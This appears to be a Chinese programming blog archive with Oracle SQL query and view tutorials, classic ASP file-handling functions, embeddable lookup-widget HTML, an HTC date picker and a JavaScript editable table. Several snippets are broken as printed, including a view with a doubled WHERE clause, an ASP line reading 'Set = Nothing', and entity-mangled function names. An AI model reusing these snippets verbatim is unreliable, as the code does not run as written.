March 22 ############################复杂查询语句的使用##################################### 1.查询语句的使用 使用 select语句和子查询(subquery)可以从一个或多个表,视图,实体试图中返回数据. 1.1相关子查询 可以将子查询(as subquery)或in或exists当成where的一个条件的一部分,这样的查询称为子查询 .where中可以包含一个select语句的子查询 .where中可以包含in,exists语句 .最多可以嵌套16层 .层次过多会影响性能 [例]简单子查询实例 查询是否有的专家既以研究所的名义来申请基金项目,又以大学系为单位申请项目 (按规定只能以一个单位来申请) SQL> create table univ_subject 2 ( 3 name varchar2(12) not null, 4 per_id number not null, 5 dept_name varchar2(20) 6 ); SQL> insert into univ_subject values('gaoqianjing',1001,'信息工程系'); SQL> insert into univ_subject values('wangbing',1002,'物理系'); SQL> insert into univ_subject values('liming',1003,'化学系'); =============== SQL> create table colle_subject 2 ( 3 colle_name varchar2(20), 4 per_id number 5 ); SQL> insert into colle_subject values('电子研究所',1001); SQL> insert into colle_subject values('物理研究所',1005); ================ SQL> select name,per_id,dept_name from univ_subject where per_id in 2 (select per_id from colle_subject);
NAME PER_ID DEPT_NAME ------------ --------- -------------------- gaoqianjing 1001 信息工程系
1.2外连接 [例]外连接实例 招生中所有学生的信息放在students表中,而部分有特长的学生在另一个表中stuent_skill中同样有该学生 的信息。现在要全部列出所有学生,如果某个学生在表student_skill中就有其特长信息,并显示特长信息,如果 某个学生没有特长就显示特长问空. SQL> create table students 2 ( 3 st_id varchar2(20), 4 name varchar2(10), 5 age number(2), 6 tol_score number(3) 7 ) ; SQL> insert into students values('973231','wangbindu',22,501); SQL> insert into students values('973232','zhuzhijing',21,538); SQL> insert into students values('973233','gaojing',21,576); ===================
SQL> create table student_skill 2 ( 3 st_id varchar2(20), 4 skill varchar2(20) 5 ); SQL> insert into student_skill values('973231','篮球'); SQL> insert into student_skill(st_id) values('973232'); SQL> insert into student_skill values('973233','足球'); ===================
SQL> select a.* , b.skill from students a,student_skill b where a.st_id=b.st_id(+) order by a.st_id;
ST_ID NAME AGE TOL_SCORE SKILL -------------------- ---------- --------- --------- ------------------ -- 973231 wangbindu 22 501 篮球 973232 zhuzhijing 21 538 973233 gaojing 21 576 足球
1.3自我连接 自我连接是在同一个表或视图内进行条件连接. [例]自我连接实例 查询每个雇员的名字和该雇员的经理的名字: SQL> select e1.ename||' work for '||e2.ename "Employees and their Managers" 2 from scott.emp e1,scott.emp e2 where e1.mgr=e2.empno;
Employees and their Managers ------------------------------------------------- SMITH work for FORD ALLEN work for BLAKE WARD work for BLAKE JONES work for KING MARTIN work for BLAKE BLAKE work for KING CLARK work for KING SCOTT work for JONES TURNER work for BLAKE ADAMS work for SCOTT JAMES work for BLAKE FORD work for JONES MILLER work for CLARK
1.4UNION , INTERSECT及 MINUS UNION: 可以将两个以上的表的相类似的查询结果放在一起 (union all则表示返回所有的行) 具体语法: select ... union[all] select... ==========
INTERSECT: 返回两个表中相同的信息 具体语法: select ... intersect select... ==========
MINUS : 返回一个表中出现的信息 具体语法: select ... minus select... [例1]UNION操作实例 SQL> select st_id from students 2 union 3 select st_id from student_skill;
ST_ID -------------------- 973231 973232 973233
[例2]INTERSECT操作实例 列出有特长的学生的学号 SQL> select st_id from students 2 intersect 3 select st_id from student_skill; ST_ID -------------------- 973231 973233
[例3]MINUS操作实例 列出没有特长学生的学号 select st_id from students minus select st_id from student_skill; ST_ID -------------------- 973232
2.创建复杂的视图 许多应用系统有统计等功能,建议最好把这些复杂语句写成视图.下面是几个常用的视图. 2.1分组视图 [例1]简单的分组视图 SQL> create or replace view dept_tot as 2 select a.dname dept,sum(b.sal) total_sal from scott.dept a,scott.emp b 3 where a.deptno=b.deptno group by a.dname;
查看已建立。 SQL> select * from dept_tot;
DEPT TOTAL_SAL -------------- --------- ACCOUNTING 8750 RESEARCH 10875 SALES 9400
[例2]带复杂函数视图 SQL> create or replace view itemtot as 2 select persion,sum(amount) itemtot from ledger 3 where actiondate between 4 to_date('01-MAR-1901','dd-mon-yyyy') and 5 to_date('31-MAR-1901','dd-mon-yyyy') 6 and action in('bought','raid') group by persion;
2.2合计视图 [例]合计函数视图实例 SQL> create or replace view emp_no1 as 2 select deptno,sum(sal) 工资和,sum(comm) 总和 3 from scott.emp group by deptno; SQL> select * from emp_no1; DEPTNO 工资和 总和 --------- --------- --------- 10 8750 20 10875 30 9400 2200
2.3组合视图 [例]带组合函数的视图 SQL> create or replace view byitem as 2 select l.persion persion.item, amount, 100*amount/item bypersion,100*amount/total bytotal 3 from ledgent l,itemtotal i,total where l.persion=i.persion where l.persion=i.persion 4 and actiondate between 5 to_date('01-MAR-1901','dd-mon-yyyy') and 6 to_date('31-MAR-1901','dd-mon-yyyy') 7 and action in('bought','raid') ;
3.家族树 语法: select column from table_name start with column=value connect by prior 父主键=子主键
3.1排除单一性和分枝 以ORACLE中的EMP表为例 [例]从顶到底列出各雇员的信息 SQL> select lpad(' ',4*(level-1))||ename name,empno,mgr from emp start with mgr is null 2 connect by prior empno=mgr;
NAME EMPNO MGR --------- --------- --------- KING 7839 JONES 7566 7839 SCOTT 7788 7566 ADAMS 7876 7788
3.2遍历至根 [例1]现在要从某个雇员开始向他的上级列出该雇员的层次结构 SQL> col ename for a30; SQL> select lpad(' ',4*(level-1))||ename ename,mgr,empno from scott.emp 2 start with mgr=7788 connect by prior mgr=empno; ENAME MGR EMPNO ------------------------------ --------- --------- ADAMS 7788 7876 SCOTT 7566 7788 JONES 7839 7566 KING 7839
[例2]列出所有雇员的层次结构 SQL> select lpad(' ',4*(level-1))||ename ename,empno,mgr from scott.emp 2 start with mgr is not null 3 connect by empno=prior mgr;
ENAME EMPNO MGR ------------------------------ --------- --------- SMITH 7369 7902 FORD 7902 7566 JONES 7566 7839 KING 7839 ALLEN 7499 7698 BLAKE 7698 7839 KING 7839 WARD 7521 7698 BLAKE 7698 7839 KING 7839 JONES 7566 7839 KING 7839 MARTIN 7654 7698 BLAKE 7698 7839 KING 7839 BLAKE 7698 7839 KING 7839 CLARK 7782 7839 KING 7839 SCOTT 7788 7566 JONES 7566 7839 March 20 使用FSO修改文件特定内容的函数
function FSOchange(filename,Target,String) Dim objFSO,objCountFile,FiletempData Set objFSO = Server.CreateObject("Scripting.FileSystemObject") Set objCountFile = objFSO.OpenTextFile(Server.MapPath(filename),1,True) FiletempData = objCountFile.ReadAll objCountFile.Close FiletempData=Replace(FiletempData,Target,String) Set objCountFile=objFSO.CreateTextFile(Server.MapPath(filename),True) objCountFile.Write FiletempData objCountFile.Close Set objCountFile=Nothing Set objFSO = Nothing End Function
| 使用FSO读取文件内容的函数
function FSOFileRead(filename) Dim objFSO,objCountFile,FiletempData Set objFSO = Server.CreateObject("Scripting.FileSystemObject") Set objCountFile = objFSO.OpenTextFile(Server.MapPath(filename),1,True) FSOFileRead = objCountFile.ReadAll objCountFile.Close Set objCountFile=Nothing Set objFSO = Nothing End Function
| 使用FSO读取文件某一行的函数
function FSOlinedit(filename,lineNum) if linenum < 1 then exit function dim fso,f,temparray,tempcnt set fso = server.CreateObject("scripting.filesystemobject") if not fso.fileExists(server.mappath(filename)) then exit function set f = fso.opentextfile(server.mappath(filename),1) if not f.AtEndofStream then tempcnt = f.readall f.close set f = nothing temparray = split(tempcnt,chr(13)&chr(10)) if lineNum>ubound(temparray)+1 then exit function else FSOlinedit = temparray(lineNum-1) end if end if end function
| 使用FSO写文件某一行的函数
function FSOlinewrite(filename,lineNum,Linecontent) if linenum < 1 then exit function dim fso,f,temparray,tempCnt set fso = server.CreateObject("scripting.filesystemobject") if not fso.fileExists(server.mappath(filename)) then exit function set f = fso.opentextfile(server.mappath(filename),1) if not f.AtEndofStream then tempcnt = f.readall f.close temparray = split(tempcnt,chr(13)&chr(10)) if lineNum>ubound(temparray)+1 then exit function else temparray(lineNum-1) = lineContent end if tempcnt = join(temparray,chr(13)&chr(10)) set f = fso.createtextfile(server.mappath(filename),true) f.write tempcnt end if f.close set f = nothing end function
| 使用FSO添加文件新行的函数
function FSOappline(filename,Linecontent) dim fso,f set fso = server.CreateObject("scripting.filesystemobject") if not fso.fileExists(server.mappath(filename)) then exit function set f = fso.opentextfile(server.mappath(filename),8,1) f.write chr(13)&chr(10)&Linecontent f.close set f = nothing end function
| 读文件最后一行的函数
function FSOlastline(filename) dim fso,f,temparray,tempcnt set fso = server.CreateObject("scripting.filesystemobject") if not fso.fileExists(server.mappath(filename)) then exit function set f = fso.opentextfile(server.mappath(filename),1) if not f.AtEndofStream then tempcnt = f.readall f.close set f = nothing temparray = split(tempcnt,chr(13)&chr(10)) FSOlastline = temparray(ubound(temparray)) end if end function
|
获取一个文本的所有行数
Function filenum(filename) Dim temparray set fso = server.CreateObject("scripting.filesystemobject") if not fso.fileExists(server.mappath(filename)) then exit Function set f = fso.opentextfile(server.mappath(filename),1) if not f.AtEndofStream then tempcnt = f.readall temparray = split(tempcnt,chr(13)&chr(10)) lineNum=ubound(temparray) filenum =lineNum f.close End if End Function
| 动态include文件
'利用FSO动态调用文件 Function include(filename) Dim re,Content,FSO,F,aspStart,aspEnd Set FSO = CreateObject("Scripting.FileSystemObject") Set F = FSO.OpenTextFile(Server.MapPath(filename)) Content = F.ReadAll F.Close Set = Nothing Set FSO = Nothing Set re = New RegExp re.pattern = "s*=" aspEnd = 1 aspStart = inStr(aspEnd,content,"<%")+2 Do While aspStart>aspEnd+1 Response.Write Mid(content,aspEnd,aspStart-aspEnd-2) aspEnd=inStr(aspStart,content,"%>")+2 Execute(re.replace(Mid(content,aspStart,aspEnd-aspStart-2),"Response.Write ")) aspStart=inStr(aspEnd,content,"<%")+2 Loop Response.Write Mid(content,aspEnd) Set re = Nothing End Function
| 删除文件
'删除文件 Function DelFile(Filename) If Filename <> "" Then Set FSO = Server.CreateObject("Scripting.FileSystemObject") If FSO.FileExists(Filename) Then FSO.DeleteFile Filename End If Set FSO = Nothing End If End Function
| 判断文件是否存在
'判断文件是否存在 Function ReportFileStatus(filespec) Dim FSO,msg Set FSO = CreateObject("Scripting.FileSystemObject") If (FSO.FileExists(filespec)) Then msg = filespec & " exists." Else msg = filespec & " doesn't exist." End If ReportFileStatus = msg End Function
| 使用FSO修改文件特定内容的函数
'使用FSO修改文件特定内容的函数 Function FSOchange(filename,Target,String) Dim objFSO,objCountFile,FiletempData Set objFSO = Server.CreateObject("Scripting.FileSystemObject") Set objCountFile = objFSO.OpenTextFile(Server.MapPath(filename),1,True) FiletempData = objCountFile.ReadAll objCountFile.Close FiletempData = Replace(FiletempData,Target,String) Set objCountFile = objFSO.CreateTextFile(Server.MapPath(filename),True) objCountFile.Write FiletempData objCountFile.Close Set objCountFile = Nothing Set objFSO = Nothing End Function
| 使用FSO写文件某一行的函数
'使用FSO写文件某一行的函数 Function FSOlinewrite(filename,lineNum,Linecontent) If linenum < 1 Then Exit Function Dim FSO,f,temparray,tempCnt Set FSO = Server.CreateObject("Scripting.FileSystemObject") If Not FSO.FileExists(Server.MapPath(filename)) Then Exit Function Set f = FSO.OpenTextFile(Server.MapPath(filename),1) If Not f.AtEndofStream Then tempcnt = f.ReadAll f.Close temparray = Split(tempcnt,Chr(13)&Chr(10)) If lineNum>UBound(temparray)+1 Then Exit Function Else temparray(lineNum-1) = lineContent End If tempcnt = jo& #105;n(temparray,Chr(13)&Chr(10)) Set f = FSO.cr& #101;atetextfile(Server.MapPath(filename),true) f.Write tempcnt End If f.Close Set f = Nothing End Function
| FSO替换指定文件的字符
'FSO替换指定文件的字符 Function FSOLineEdit(filename,Target,String) Dim objFSO,objCountFile,FiletempData Set objFSO = Server.CreateObject("Scripting.FileSystemObject") Set objCountFile = objFSO.OpenTextFile(Server.MapPath(filename),1,True) FiletempData = objCountFile.ReadAll objCountFile.Close FiletempData = Replace(FiletempData,Target,String) Set objCountFile = objFSO.CreateTextFile(Server.MapPath(filename),True) objCountFile.Write FiletempData objCountFile.Close Set objCountFile = Nothing Set objFSO = Nothing End Function 'Response.Write FSOLineEdit("test.txt","世界","明天是一个好天去")
| 使用FSO读取文件内容的函数
'使用FSO读取文件内容的函数 Function FSOFileRead(filename) Dim objFSO,objCountFile,FiletempData Set objFSO = Server.CreateObject("Scripting.FileSystemObject") Set objCountFile = objFSO.OpenTextFile(Server.MapPath(filename),1,True) FSOFileRead = objCountFile.ReadAll objCountFile.Close Set objCountFile = Nothing Set objFSO = Nothing End Function
| 建立目录的程序,如果有多级目录,则一级一级的创建
'建立目录的程序,如果有多级目录,则一级一级的创建 Function CreateDIR(ByVal LocalPath) On Error Resume Next LocalPath = Replace(LocalPath,"","/") Set FileObject = Server.CreateObject("Scripting.FileSystemObject") patharr = Split(LocalPath,"/") path_level = UBound(patharr) For i = 0 to path_level If i=0 Then pathtmp=patharr(0) & "/" Else pathtmp = pathtmp & patharr(i) & "/" cpath = Left(pathtmp,Len(pathtmp)-1) If Not FileObject.FolderExists(cpath) Then FileObject.CreateFolder cpath Next Set FileObject = Nothing If Err.Number <> 0 Then CreateDIR = False Err.Clear Else CreateDIR = True End If End Function
| 复制某目录下所有文件至指定目录
'复制某目录下所有文件至指定目录 Set fso=CreateObject("Scripting.FileSystemObject") Set Cur_Folder = fso.getfolder(Server.MapPath(SourcePath)) ''源文件夹 Distination_Path="c:\test" Set sub_files = Cur_Folder.files for each each_file in sub_files sub_file_path=each_file.name fso.CopyFile Server.MapPath(SourcePath)&"/"&sub_file_path,Distination_Path&"/"&sub_file_path,True Next
|
不要小看这些,这些是提高网页友好性的重要方面,也是留住网页浏览者的一个重要的因素。相关的网站/网页应该有相关的实用工具,比方说一个学习英语的网站,应该有在线翻译的功能,所以应该嵌入“词霸”的代码,这样用户就不用再去google,baidu找了,这样就延长了用户的逗留时间,而且更重要的是提高了网站操作的友好性。如果是一个娱乐性网站就一般要有“电视节目查询”,如果是一个生理卫生方面的网站当然就要有“安全期查询”了。
也可以把这些代码直接嵌入到相关的论坛中,现在已经有人这样做了。把词霸嵌入到英语角这样的论坛,把电视节目嵌入到影视剧场这样的论坛,使用的人还是非常多的。
<!--ip查询--> <form action="http://ip.wisa.com.cn/ipsearch.php" target="_blank"> <P><SPAN class=style2222>请输入IP:</SPAN> <INPUT maxLength =25 name=textfield> <INPUT type=submit value=查找 name=Submit> </P></form>
<!--域名查询--> <iframe marginWidth=0 marginHeight=0 src="::URL:http://hi.www.net.cn/hi/265/265.html" frameBorder=0 width="500" scrolling=no height="300"></iframe> <!--手机位置查询--> <iframe src="http://tool.yok.com/simcard.php" width="760" height="300" frameborder="no" border="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>
<!--妇女安全期查询--> <IFRAME marginWidth=0 marginHeight=0 src="http://www.xmdao.com/other/fna.htm" frameBorder=0 width="100%" scrolling=no height=430> </IFRAME>
<!--电视节目查询-->
<form name="wsh1" METHOD=POST ACTION="http://wanshanghao.cn/servlet/search/out_search.jsp" target="_blank"> <table border=0> <tr><td valign="bottom"> <input type="hidden" name="province" value="北京"> <input type="hidden" name="channel" value="all"> <input type="hidden" name="date" value="thisWeek"> <INPUT TYPE="text" NAME="program" style="width:100" value="电视节目名称" onclick="javascript:this.value=’;"><IMG SRC="http://wanshanghao.cn/images/search.gif" WIDTH="45" HEIGHT="21" BORDER="0" ALT="查询电视节目" onclick="document.wsh1.submit()"> </td></tr> </table> </form>
<!--词霸--> <TABLE width="351" bgcolor="#FFFFFF"> <form method=GET action="http://cb.kingsoft.com/search" target=’_blank’> <tr><td width="343"> <A HREF="http://cb.kingsoft.com/search" target=’_blank’> <IMG SRC="http://cb.kingsoft.com/html/help/images/w_38X38.gif" width=25 height="25" border="0" ALT="金山词霸" align="absmiddle" ></A><font class="abc">英文查词</font> < INPUT TYPE=text name=s size=25 maxlength=255 value="" class="input">< INPUT TYPE=hidden name=lang value=’gb2312’> <INPUT type= submit value="词霸搜索" class="input" style="cursor:hand"> </td> </tr> </form>
<!--天气预报--> <form name="form1" method="post" action="http://www.tq121.com.cn/forecast/searchcity.php" target="_blank"> 在输入框中输入您要查询的城市名称,查询到该城市当日天气。
<input name="cityname" size=36 type="text"> <input name="Input" type="submit" value="查询天气"> </span></td></form>
</TABLE>
<!--车次--> <form name="frmGetZM" method="POST" action="http://train.chinamor.cn.net/zzcx2.asp" class="p2" target="_blank"> <span class="p4">查询具体到达的车次信息。</span><font color="#666666"><span class="p4"> </span></font> March 19
Date.htm
<input type="text" style="behavior:url('Date.htc');" value="2004-01-01">
Date.htc
<public:attach event=oncontentready onevent=initDate()> <script> //该HTC组件目前只支持INPUT并TYPE=TEXT下使用
//日期面板容器 var vDiv=null; //框架 var vFieldset=null; //日期面板 var vTable=null; //日期格式字符串 var strDate="";
//静态数组 var strWeekArray=new Array("星期日","星期一","星期二","星期三","星期四","星期五","星期六");
function initDate() { //初始化日期 if(element.value) {strDate=element.value;} else {strDate=getToday();} //创建容器 vDiv=document.createElement("vDiv"); vDiv.style.position="absolute"; vDiv.style.left=0; vDiv.style.top=0; vDiv.style.width="275px"; //绘制框架 vFieldset=document.createElement("fieldset"); var vLegend=document.createElement("legend"); vLegend.style.font="normal 9pt 宋体"; vLegend.innerHTML="日期"; vFieldset.appendChild(vLegend); //绘制年月栏 initYearMonthBar(); //绘制面板 initPanel(); //绘制控制区 initConsole();
vDiv.appendChild(vFieldset); window.document.body.insertAdjacentElement("afterbegin",vDiv); vDiv.style.display="none";
//事件绑定 element.attachEvent("onmousedown",onMouseDown); element.readOnly="true"; } //绘制面板 function initPanel() { vTable=document.createElement("table"); vTable.style.backgroundColor="#EEEEEE"; vTable.border="0"; vTable.cellSpacing="1"; vTable.cellPadding="0"; //vTable.width="80%"; vTable.style.borderLeft="1px solid #000000"; vTable.style.borderBottom="1px solid #000000"; initWeekCol(); initDayCell(); vFieldset.appendChild(vTable); } //画年月 function initYearMonthBar() { vInput=document.createElement("input"); vInput.type="button"; vInput.style.font="normal 9pt Marlett"; vInput.value="3"; vFieldset.appendChild(vInput); vSelect=document.createElement("select"); vSelect.style.font="normal 8pt 宋体"; for(mIndex=eval("getDateYear()-20");mIndex<=eval("getDateYear()+20");mIndex++) { vOption=document.createElement("option"); vOption.value=mIndex; vOption.text=mIndex+"年"; vSelect.add(vOption); if(getDateYear()==mIndex) { vOption.selected="selected"; } } vSelect.attachEvent("onchange",onYearChange); vFieldset.appendChild(vSelect); vInput=document.createElement("input"); vInput.type="button"; vInput.style.font="normal 9pt Marlett"; vInput.value="4"; vFieldset.appendChild(vInput);
vInput=document.createElement("input"); vInput.type="button"; vInput.style.font="normal 9pt Marlett"; vInput.value="3"; vFieldset.appendChild(vInput); vSelect=document.createElement("select"); vSelect.style.font="normal 8pt 宋体"; var now=new Date(); for(nIndex=1;nIndex<=12;nIndex++) { vOption=document.createElement("option"); vOption.value=strFormat(nIndex,2); vOption.text=strFormat(nIndex,2)+"月"; vSelect.add(vOption); if(getDateMonth()==nIndex) { vOption.selected="selected"; } } vSelect.attachEvent("onchange",onMonthChange); vFieldset.appendChild(vSelect); vInput=document.createElement("input"); vInput.type="button"; vInput.style.font="normal 9pt Marlett"; vInput.value="4"; vFieldset.appendChild(vInput); } //绘制控制区 function initConsole() { vInput=document.createElement("input"); vInput.type="button"; vInput.style.font="normal 9pt 宋体"; vInput.value="今天"; vInput.attachEvent("onmousedown",onTodayMouseDown); vFieldset.appendChild(vInput);
vInput=document.createElement("input"); vInput.type="button"; vInput.style.font="normal 7pt Webdings"; vInput.value="a"; vInput.attachEvent("onmousedown",onOKMouseDown); vFieldset.appendChild(vInput); vInput=document.createElement("input"); vInput.type="button"; vInput.style.font="normal 7pt Webdings"; vInput.value="r"; vInput.attachEvent("onmousedown",onCancelMouseDown); vFieldset.appendChild(vInput); } function onTodayMouseDown() { strDate=getToday(); element.value=strDate; hideDate(); } function onOKMouseDown() { element.value=strDate; hideDate(); } function onCancelMouseDown() { hideDate(); } //画星期列 function initWeekCol() { var vTr=vTable.insertRow(0); for(nIndex=0;nIndex<7;nIndex++) { var vTd=vTr.insertCell(nIndex); vTd.innerHTML=strWeekArray[nIndex]; vTd.style.font="normal 9pt 宋体"; vTd.style.borderTop="1px solid #000000"; vTd.style.borderRight="1px solid #000000"; vTd.style.backgroundColor="#DDDDDD"; } } //画天单元格 function initDayCell() { var iCurDay=0; for(mIndex=1;mIndex<7;mIndex++) { var vTr=vTable.insertRow(mIndex); for(nIndex=0;nIndex<7;nIndex++) { var vTd=vTr.insertCell(nIndex); if(mIndex==1&&nIndex==1*getYearMonthWeek()) { iCurDay=1; vTd.innerHTML=iCurDay; } else if(iCurDay!=0&&iCurDay<=1*getYearMonthDays()) { vTd.innerHTML=iCurDay; } else { vTd.innerHTML=" " } if(iCurDay==getDateDay()) { vTd.style.color="#FF0000"; } if(iCurDay!=0) { iCurDay++; } vTd.style.font="normal 9pt 宋体"; vTd.style.borderTop="1px solid #000000"; vTd.style.borderRight="1px solid #000000"; vTd.attachEvent("onmousedown",onCellMouseDown); } } } //选择框年鼠标按下 function onYearChange() { var vObject=window.event.srcElement; var strYearMonth=strDate.split("-"); strDate=vObject.options[vObject.selectedIndex].value+"-"+strYearMonth[1]+"-"+strYearMonth[2]; for(iRowCount=6;iRowCount>=1;iRowCount--) { vTable.deleteRow(iRowCount); } initDayCell(); } //选择框月鼠标按下 function onMonthChange() { var vObject=window.event.srcElement; var strYearMonth=strDate.split("-"); strDate=strYearMonth[0]+"-"+vObject.options[vObject.selectedIndex].value+"-"+strYearMonth[2]; for(iRowCount=6;iRowCount>=1;iRowCount--) { vTable.deleteRow(iRowCount); } initDayCell(); } //单元格天鼠标按下 function onCellMouseDown() { for(mIndex=1;mIndex<7;mIndex++) { for(nIndex=0;nIndex<7;nIndex++) { vTable.rows(mIndex).cells(nIndex).style.backgroundColor="transparent"; } } var vObject=window.event.srcElement; var strYearMonth=strDate.split("-"); strDate=strYearMonth[0]+"-"+strYearMonth[1]+"-"+strFormat(vObject.innerHTML,2); vObject.style.backgroundColor="#FFFFFF"; } //元素中鼠标按下[显示面板] function onMouseDown() { if(element.value) {strDate=element.value;} else {strDate=getToday();} for(iRowCount=6;iRowCount>=1;iRowCount--) { vTable.deleteRow(iRowCount); } initDayCell();
转载:作者Blog:http://blog.csdn.net/jordan119/
<%@ page contentType="text/html; charset=gb2312" language="java" import="java.sql.*" errorPage="" %> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <title>无标题文档</title>
<script language=javascript1.2>
/* *==================================================================================================================== */
//定义全局的表格行列值 var col = 5; var row = 2;
//currRowIndex 选定行 var currRowIndex = 0;
//表单域数组(这部分作废)----------------- var elementNames = new Array(col); var k = 0; for(k=0;k<col;k++) elementNames[k] = k; //---------------------------------------
//标题头数组 var headers = new Array(col); for(k=0;k<col;k++) { headers[k] = "第" + k + "列"; }
//columnPropertys : 装载要创建的列读写属性 var colPropertys = new Array(col) for(k=0;k<10;k++) colPropertys[k] = 1;
colPropertys[0] = 0;
//colDefaultValues : 代表每次增加行的时候需要装入的默认值 var colDefaultValues = new Array(col); for(k=0;k<col;k++) { if(k%2==0) colDefaultValues[k] = "o"; else colDefaultValues[k] = "j"; //代表这个不是默认值 }
//dataArray : 需要修改的数据集,修改之前预先装入,供用户参考 var dataArray = new Array(row*col); var m=0,n=0; for(m=0;m<row;m++) { for(n=0;n<col;n++) { dataArray[m*col + n] ="array(" + m + "," + n + ")"; //注意这里代表2维数组 } }
/* *==================================================================================================================== */ var oPopup = window.createPopup();
//创建一个公共的可编辑的表格 //参数: // formName : 表单名 // action : 代表当前要执行的提交动作 : 1:add 2:del 3:modefy 4:query // formAction : 表格对应Form的Action // tableId :表格ID // colNum:表单列数目 // rowNum:初始表格的行数目 function CreateTable(formName,action,formAction,tableId,colNum,rowNum) { var startStr = new String(""); var endStr = new String(""); var colStr = new String(""); startStr = "<form name=\"" + formName + "\" method=post action=\"" + formAction + "\">"; startStr += "<table id=\"" + tableId +"\" border=\"1\" cellspacing=\"0\" cellpadding=\"0\">"; colStr = createTrs(colNum,rowNum); endStr = "</table>";
//创建用来获取最后表格输出数据的隐藏域 var hiddens = CreateHiddens(colNum,action); endStr += hiddens; endStr += "</form>"; //输出表格 //document.forms(0).elements("t").value = (startStr + colStr + endStr); document.write(startStr + colStr + endStr); }
function CreateHiddens(cols,action) { var str = new String(""); var i=0; for(i=0;i<cols;i++) { str +="<input type=\"hidden\" name=\"col" + (i+1) + "\" >"; } str+="<input type=hidden name=\"action\" value=\"" + action + "\">"; return str; }
function createTrs(colNum,rowNum) { var colStr = new String(""); var i = 0; var j = 0;
colStr += "<tr bgColor='#00ccff'>" //创建表头行 colStr += "<td onClick=orderTb1(this,1); onMouseOver=\"showTip('单击对本列排序');\" onMouseOut=\"hideTip();\"><center>" colStr += "序号"; colStr += "</center></td>"; for(i=1;i<=colNum;i++) { colStr += "<td align=center onClick=orderTb1(this,1); onMouseOver=\"showTip('单击对本列排序');\" onMouseOut=\"hideTip();\" >"; colStr += headers[i-1]; colStr += "</td>"; }
//创建表体行 for(i=0;i<rowNum;i++) { colStr += "<tr "; colStr += "onDblClick=\"ChangeInput(this);\" "; //表格行中的事件支持部分 colStr += "onBlur=\"ResetTR(this);\" >"; //创建每行的所有单元格 colStr += "<td onClick=SelectRow(this);>"; colStr += i+1; colStr +="</td>"; for(j=1;j<=colNum;j++) { colStr += "<td onMouseOut=\"this.bgColor='#FFFFFF';\" onMouseOver=\"this.bgColor='#00CCFF';\" >"; colStr += dataArray[i*colNum+j-1]; colStr +="</td>"; } colStr +="</tr>"; } return colStr; }
//把某行转变为输入状态 function ChangeInput(objTR) { var str = new String(""); var i = 0; for(i=1;i<objTR.cells.length;i++) { str = "<input type=text name=\"" + elementNames[i-1] + "\" style=\"width:" + objTR.cells[i].width + "\" "; //装入默认值 if(colDefaultValues[i-1]=="j") //j代表该列不能装入默认值 str += "value=\"" + objTR.cells[i].innerText + "\""; else//否则装入默认值 str += "value=\"" + colDefaultValues[i-1] + "\""; //控制控件的读写属性 if(colPropertys[i-1] == 0) { str += " disabled "; } str += "/>"; objTR.cells[i].innerHTML = str; }
objTR.ondblclick=doNothing; //使行保持原始状态 }
//把行恢复为非输入状态 function ResetTR(objTR) { var str = new String(""); var i = 0; for(i=0;i<objTR.cells.length;i++) { var objChild; var tmpStr = ""; tmpStr = objTR.cells[i].innerHTML;
//里面包含控件 if(objTR.cells[i].firstChild!=undefined && objTR.cells[i].firstChild.value!=undefined) { tmpStr = objTR.cells[i].firstChild.value; if(tmpStr=="") tmpStr = " " objTR.cells[i].innerHTML = tmpStr + " "; continue; } //里面不包含控件 if(tmpStr==" " || tmpStr=="") { if(objTR.cells[i].innerHTML!="") tmpStr += objTR.cells[i].innerHTML; else tmpStr += " "; } objTR.cells[i].innerHTML = tmpStr;
if(objTR.cells[i].innerHTML=="") objTR.cells[i].innerHTML=" "; } }
//对表格指定列进行排序 function orderTB(objTB,index,type){ for(var i=1;i<(objTB.rows.length-1);i++){ for(var j=i+1;j<objTB.rows.length;j++){ var tmp1,tmp2; if(objTB.rows[j].cells[index].firstChild.value==undefined) tmp1 = objTB.rows[j].cells[index].innerText; else tmp1 = objTB.rows[j].cells[index].firstChild.value; if(objTB.rows[i].cells[index].firstChild.value==undefined) tmp2 = objTB.rows[i].cells[index].innerText; else tmp2 = objTB.rows[i].cells[index].firstChild.value; if(tmp1>tmp2) { objTB.moveRow(j,i); } } } }
function orderTb1(objTD,type) { var objTR =objTD.parentElement; var objTable = objTR.parentElement; var colIndex = objTD.cellIndex; orderTB(objTable,colIndex); }
//在表格末尾增加一行 function InsertRow(tableId) { var objTable = document.getElementById(tableId); var col = objTable.cells.length/objTable.rows.length; var row = objTable.rows.length; var objRow = objTable.insertRow(); //增加行 var i = 0; //取得最大序号 var max1 = 1; for(i=1;i<row-1;i++) { var tmpMax = 1; if(parseFloat(objTable.rows[i].cells[0].innerText) > parseFloat(objTable.rows[i+1].cells[0].innerText)) { tmpMax = parseFloat(objTable.rows[i].cells[0].innerText); } else { tmpMax = parseFloat(objTable.rows[i+1].cells[0].innerText); } if(tmpMax>=max1) max1= tmpMax; } for(i=1;i<=col;i++) { var objCell = objRow.insertCell(); objRow.cells[0].innerText = parseFloat(max1)+1; objCell.innerHTML = " "; objCell.onmouseover = Td_MouseOver_Handle; objCell.onmouseout = Td_MouseOut_Handle objRow.cells[0].onclick = TD_Click_Handle; objRow.cells[0].onmouseover = doNothing; objRow.cells[0].onmouseout = doNothing; } //为新增的行提供事件绑定支持 //objRow.attachEvent('ondblclick', dblClick_Handle); objRow.ondblclick = dblClick_Handle; objRow.onblur = click_Handle; }
//删除最后1行 function DeleteRow(tableId) { var objTable = document.getElementById(tableId); if(objTable.rows.length==1) { alert("对不起,你不能删除表格头!!!"); return; } if(confirm("确定删除?")) { objTable.deleteRow(); } }
//选定指定行 function SelectRow(objTD) { var objTR =objTD.parentElement; var objTable = objTR.parentElement; for(var i=1;i<objTable.rows.length;i++) objTable.rows[i].cells[0].bgColor = "#ffffff"; objTD.bgColor="#ff0000"; currRowIndex = objTR.rowIndex; }
//删除指定的行 function DeleteOneRow(tableId,rowIndex) { var objTable = document.getElementById(tableId); var objTable = document.getElementById(tableId); if(objTable.rows.length==1 || rowIndex==0) { alert("对不起,你首先必须选择要删除的行!!!"); return; } if(confirm("确定删除?")) { objTable.deleteRow(rowIndex); currRowIndex = 0; } else { for(var i=1;i<objTable.rows.length;i++) { objTable.rows[i].cells[0].bgColor = "#ffffff"; currRowIndex = 0; } } }
//鼠标选择指定列 function TD_Click_Handle() { SelectRow(this) }
//鼠标移入事件支持 function Td_MouseOver_Handle() { this.bgColor = "#00ccff"; }
